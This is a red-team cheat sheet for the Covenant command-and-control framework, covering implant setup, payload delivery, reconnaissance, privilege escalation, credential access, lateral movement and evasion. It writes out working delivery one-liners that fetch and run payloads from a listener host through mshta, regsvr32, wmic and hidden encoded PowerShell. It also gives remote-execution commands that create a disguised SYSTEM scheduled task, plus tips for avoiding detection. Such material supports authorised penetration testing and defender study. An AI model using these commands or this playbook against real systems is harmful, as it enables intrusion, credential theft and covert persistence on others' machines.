ᛉ Yggdrasil

Tradecraft

Covenant C2

15 Sep 2026 · 2,067 words · 9 min

Contents

Legend: [SERVER] = Run on Covenant server host | [CLIENT] = Run in Covenant web UI | [GRUNT] = Run through the active Grunt Interact/Task view | [HOST] = Run on attacker host OS

1. What is Covenant

What it means: Covenant is a collaborative .NET command-and-control framework and web application built for red team operations. Its official wiki describes it as a .NET C2 framework and web app focused on offensive .NET tradecraft, collaboration, dynamic compilation, and inline C# execution. 

Operator Browser
 │
 ▼
Covenant Web App / API
 │
 ├── Listeners
 ├── Launchers
 ├── Grunts
 └── Tasks / Data / Graph
 │
 ▼
 Compromised Host (Grunt)

Core Terms

Term Meaning
Listener Endpoint that Grunts communicate with
Launcher Binary/script/one-liner used to start a Grunt
Grunt Covenant implant
Interact tab Command-line-like interface for tasking a Grunt
Task tab GUI form-based tasking interface

2. Setting Up Covenant

What it means: Covenant runs as a .NET Core application and can also be run with Docker. The wiki states it is multi-platform and supports Linux, macOS, and Windows.

2.1 Clone and Run

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run

2.2 Docker Option

docker build -t covenant .
docker run -it -p 7443:7443 covenant

2.3 First-Run Workflow

1. Start Covenant
2. Open web UI
3. Create/start listener
4. Generate launcher
5. Execute launcher
6. Interact with returned Grunt

That workflow aligns with the official wiki structure for listeners, launchers, and Grunt interaction.

3. Listeners

What it means: You create a listener first, then generate a launcher against it. The launcher wiki explicitly says that once a listener has been started, the next step is to generate a launcher.

3.1 Listener Workflow

[CLIENT]
Listeners → Create / Start Listener
Launchers → Select Listener
Generate launcher

From the launcher page, the Grunt comms behavior depends on:

  • Listener
  • Delay
  • JitterPercent
  • ConnectAttempts
  • KillDate
  • ValidateCert (HTTP only)
  • UseCertPinning (HTTP only)
  • SMBPipeName (SMB only)

3.3 Practical Setup Values

Listener: HTTPS_443
Delay: 5
JitterPercent: 20
ConnectAttempts: 10
KillDate: 2026-12-31
ValidateCert: false
UseCertPinning: false

4. Launchers

What it means: Launchers generate the actual payloads and one-liners you execute on target systems. The official docs list Binary, ShellCode, PowerShell, MSBuild, InstallUtil, Mshta, Regsvr32, Wmic, Cscript, and Wscript launchers.

4.1 Supported Launcher Types

Binary
ShellCode
PowerShell
MSBuild
InstallUtil
Mshta
Regsvr32
Wmic
Cscript
Wscript

4.2 Launcher Generation Workflow

[CLIENT]
Launchers → choose launcher type
Set Listener
Set ImplantTemplate
Set DotNetVersion
Set Delay / JitterPercent / ConnectAttempts / KillDate
Generate
Download or Host

4.3 Host a Launcher

[CLIENT]
Launchers → Generated Launcher → Host tab
Set URL
Click Host

The docs state you must generate the launcher before downloading or hosting it.

4.4 View Launcher Code

[CLIENT]
Launchers → Generated Launcher → Code tab
Copy GruntStager source

The official docs say this lets you create custom Grunts without relying only on built-in launchers.

5. Grunts & Interaction

What it means: Most operator time in Covenant is spent inside Grunt interaction views. The official Grunt Interaction page says Grunts can be managed through a tabbed terminal or a detailed full-screen page, with Info, Interact, Task, and Taskings tabs.

5.1 Grunt Interaction Areas

Tab Purpose
Info View and edit metadata like Name, Note, Delay, JitterPercent, ConnectAttempts, KillDate
Interact Command-line-like tasking interface
Task GUI form-based task assignment
Taskings Searchable history of task executions

5.2 Important Note

Changing Delay, JitterPercent, or KillDate in the Info tab causes Covenant to assign a task to the Grunt automatically.

6. Common Commands

What it means: Covenant’s exact command set depends on the task library available to the Grunt, but the official docs confirm that the Interact tab is a command-line-like interface with tab-completion and real-time updates. The examples below are the kinds of commands/operators typically run through the Grunt interaction model or through launcher-generated one-liners.

6.1 Typical Grunt Interact Commands

[GRUNT Interact]
whoami
hostname
ipconfig /all
systeminfo
net user
net localgroup administrators
tasklist
dir C:\

These are executed through the Grunt’s command/task interface, not through a separate local CLI binary.

6.2 Useful Recon Commands

whoami /all
nltest /domain_trusts
net group "Domain Admins" /domain
quser
qwinsta
arp -a
route print

6.3 PowerShell via Grunt

powershell Get-Process
powershell Get-LocalUser
powershell Get-Service
powershell Get-NetIPAddress

6.4 Inline C# One-Liners

The official wiki states Covenant supports inline C# execution on Grunt implants. 

[GRUNT]
<inline C# tasking through Interact / Task tab>

Use this when you want .NET-native tasking instead of dropping separate executables.

7. Initial Access — Delivery Commands

What it means: Launchers are where Covenant gives you the real execution commands. The launcher docs map each launcher type to a specific Windows binary or execution path.

7.1 PowerShell Launcher

powershell.exe -nop -w hidden -enc <BASE64_LAUNCHER>

Covenant’s PowerShell launcher is specifically designed to generate PowerShell code or a PowerShell one-liner executed through powershell.exe.

7.2 MSBuild Launcher

msbuild.exe launcher.xml

The official docs state the MSBuild launcher generates an XML file executed with msbuild.exe.

7.3 InstallUtil Launcher

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false launcher.exe

Covenant documents InstallUtil as a launcher family executed via installutil.exe.

7.4 Mshta Launcher

mshta.exe http://<LISTENER_HOST>/launcher.hta

The docs say the Mshta launcher generates an HTA file and/or mshta one-liner using mshta.exe.

7.5 Regsvr32 Launcher

regsvr32.exe /s /n /u /i:http://<LISTENER_HOST>/file.sct scrobj.dll

The launcher docs explicitly define Regsvr32 as generating an SCT file and/or regsvr32.exe one-liner.

7.6 Wmic Launcher

wmic process get brief /format:"http://<LISTENER_HOST>/launcher.xsl"

The official docs say the Wmic launcher generates an XSL file and/or wmic.exe one-liner.

7.7 Cscript / Wscript Launchers

cscript.exe launcher.js
wscript.exe launcher.js

Both are explicitly documented as supported launcher types.

7.8 Binary Launcher

launcher.exe

The Binary launcher creates a custom standalone Grunt launcher and is the only one that does not rely on a system binary.

7.9 Shellcode Launcher

Generate ShellCode launcher
→ inject with your preferred loader

The docs say Covenant converts a Grunt binary to shellcode using Donut.

8. Privilege Escalation

What it means: Covenant privesc is task-driven, and the framework’s dynamic compilation plus inline C# support make it well suited for .NET-based privilege escalation tradecraft. The wiki says relevant code is recompiled and obfuscated whenever a new task is assigned.

8.1 Common Privesc Recon Commands

whoami /priv
whoami /groups
net localgroup administrators
sc query
schtasks /query /fo LIST /v

8.2 Post-Privesc Flow

1. Enumerate privileges
2. Run relevant task / inline C#
3. Gain elevated context
4. Modify Grunt timing if needed
5. Continue with credential access or lateral movement

8.3 Timing Commands via Info Tab

[CLIENT → Grunt → Info]
Delay = 30
JitterPercent = 40
ConnectAttempts = 20
KillDate = 2026-12-31

Edits to delay/jitter/kill date trigger tasks to the Grunt.

9. Credential Access

What it means: Covenant uses task-based and inline-.NET workflows for credential operations rather than a single monolithic subsystem. The task contribution guide explains that tasks are C# source files with an Execute() method and are registered in Covenant’s task database.

9.1 Typical Credential Collection Commands

cmdkey /list
vaultcmd /list
klist
net use

9.2 Task-Based Credential Workflow

[CLIENT]
Grunt → Task tab
Choose credential-oriented task
Fill parameters
Execute

9.3 Why This Matters

The official task guide explains that Covenant tasks live under Covenant/Covenant/Data/Tasks, are implemented as C# .task files, and are executed on Grunts when assigned.

10. Lateral Movement & Pivoting

What it means: Covenant supports different communication models through implant templates, including SMB named-pipe comms. The launcher docs explicitly document SMB comms via SMBPipeName, which is useful for internal movement design.

10.1 Remote Execution Examples

psexec.exe \\TARGET cmd.exe
wmic /node:TARGET process call create "powershell.exe -enc <B64>"
schtasks /create /s TARGET /ru SYSTEM /sc once /tn Updater /tr "C:\Temp\launcher.exe" /st 12:00
schtasks /run /s TARGET /tn Updater

10.2 SMB Implant Option

[CLIENT → Launcher]
ImplantTemplate = SMB
SMBPipeName = covenant_pipe

The docs say SMBPipeName appears only when the selected implant template uses SMB communication.

10.3 Multi-Grunt Workflow

Initial Grunt
 │
 ├── generate another launcher
 ├── execute on remote host
 └── manage new Grunt in Grunts view

11. Task Building

What it means: Covenant lets operators and developers build custom tasks in C#. The official task contribution guide explains that a task is a .task file implementing a Task class with an Execute() method that returns a string.

11.1 Task Source Location

Covenant/Covenant/Data/Tasks
Covenant/Covenant/Data/Tasks/src

11.2 Minimal Task Model

public class Task
{
 public static string Execute(string arg1)
 {
 return arg1;
 }
}

The guide says the method must be named Execute(), return a string, and task parameters should be defined as strings.

11.3 Register New Task

Edit:
Covenant/Covenant/Data/DbInitializer.cs

The docs say new tasks must be added to the GruntTasks list in InitializeTasks().

11.4 Custom Task Workflow

1. Create .task file
2. Add task metadata/options to DbInitializer.cs
3. Start Covenant
4. Assign task to active Grunt

12. Detection & OPSEC

What it means: Covenant has several built-in OPSEC-relevant features, including listener profiles, encrypted key exchange with forward secrecy, dynamic compilation, and optional certificate validation/pinning controls. The launcher docs also warn that DotNetToJScript-based launcher families may fail on newer Windows builds or be signatured by AMSI providers.

12.1 OPSEC Features

Feature Value
Listener Profiles Shape traffic appearance
Encrypted Key Exchange Forward secrecy between Grunts and listeners
Dynamic Compilation Reduces static payload reuse
ConfuserEx Obfuscation Obfuscates tasks and generated Grunts
Cert Validation / Pinning Options Allows tradeoff between security and proxy tolerance

12.2 Risky Launcher Families

Mshta
Regsvr32
Wmic
Cscript
Wscript

These rely on DotNetToJScript, and the docs warn they may be blocked or signatured on newer systems.

12.3 Practical OPSEC Guidance

- Increase Delay for quieter beaconing.
- Add JitterPercent to avoid regular timing.
- Use KillDate for built-in expiration.
- Be deliberate with ValidateCert and UseCertPinning.
- Prefer launcher families appropriate to the target’s controls.

All of these settings are documented launcher options.

13. Master Cheat Sheet

Install

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run

Core UI Flow

Listeners → Create/Start
Launchers → Generate
Launchers → Download or Host
Grunts → Interact / Task / Taskings

Common Delivery Commands

launcher.exe
msbuild.exe launcher.xml
mshta.exe http://<HOST>/launcher.hta
regsvr32.exe /s /n /u /i:http://<HOST>/launcher.sct scrobj.dll
wmic process get brief /format:"http://<HOST>/launcher.xsl"
cscript.exe launcher.js
wscript.exe launcher.js
powershell.exe -nop -w hidden -enc <BASE64>

Common Recon Commands

whoami
whoami /all
hostname
ipconfig /all
systeminfo
tasklist
net user
net localgroup administrators
route print
arp -a
klist
quser
qwinsta

Grunt Management Values

Delay
JitterPercent
ConnectAttempts
KillDate
Name
Note

These are editable from the Info tab.

Decision Tree

Need a Covenant session?
│
├── Start Covenant
├── Create listener
├── Generate launcher
│
├── Need LOLBin execution?
│ ├── PowerShell
│ ├── MSBuild
│ ├── InstallUtil
│ ├── Mshta
│ ├── Regsvr32
│ ├── Wmic
│ ├── Cscript
│ └── Wscript
│
├── Need simple execution?
│ └── Binary launcher
│
├── Got Grunt?
│ ├── Interact tab for command-style tasking
│ ├── Task tab for GUI tasking
│ └── Taskings tab for history
│
└── Need custom capability?
 └── Build a new .task file and register it

← Tradecraft top ↑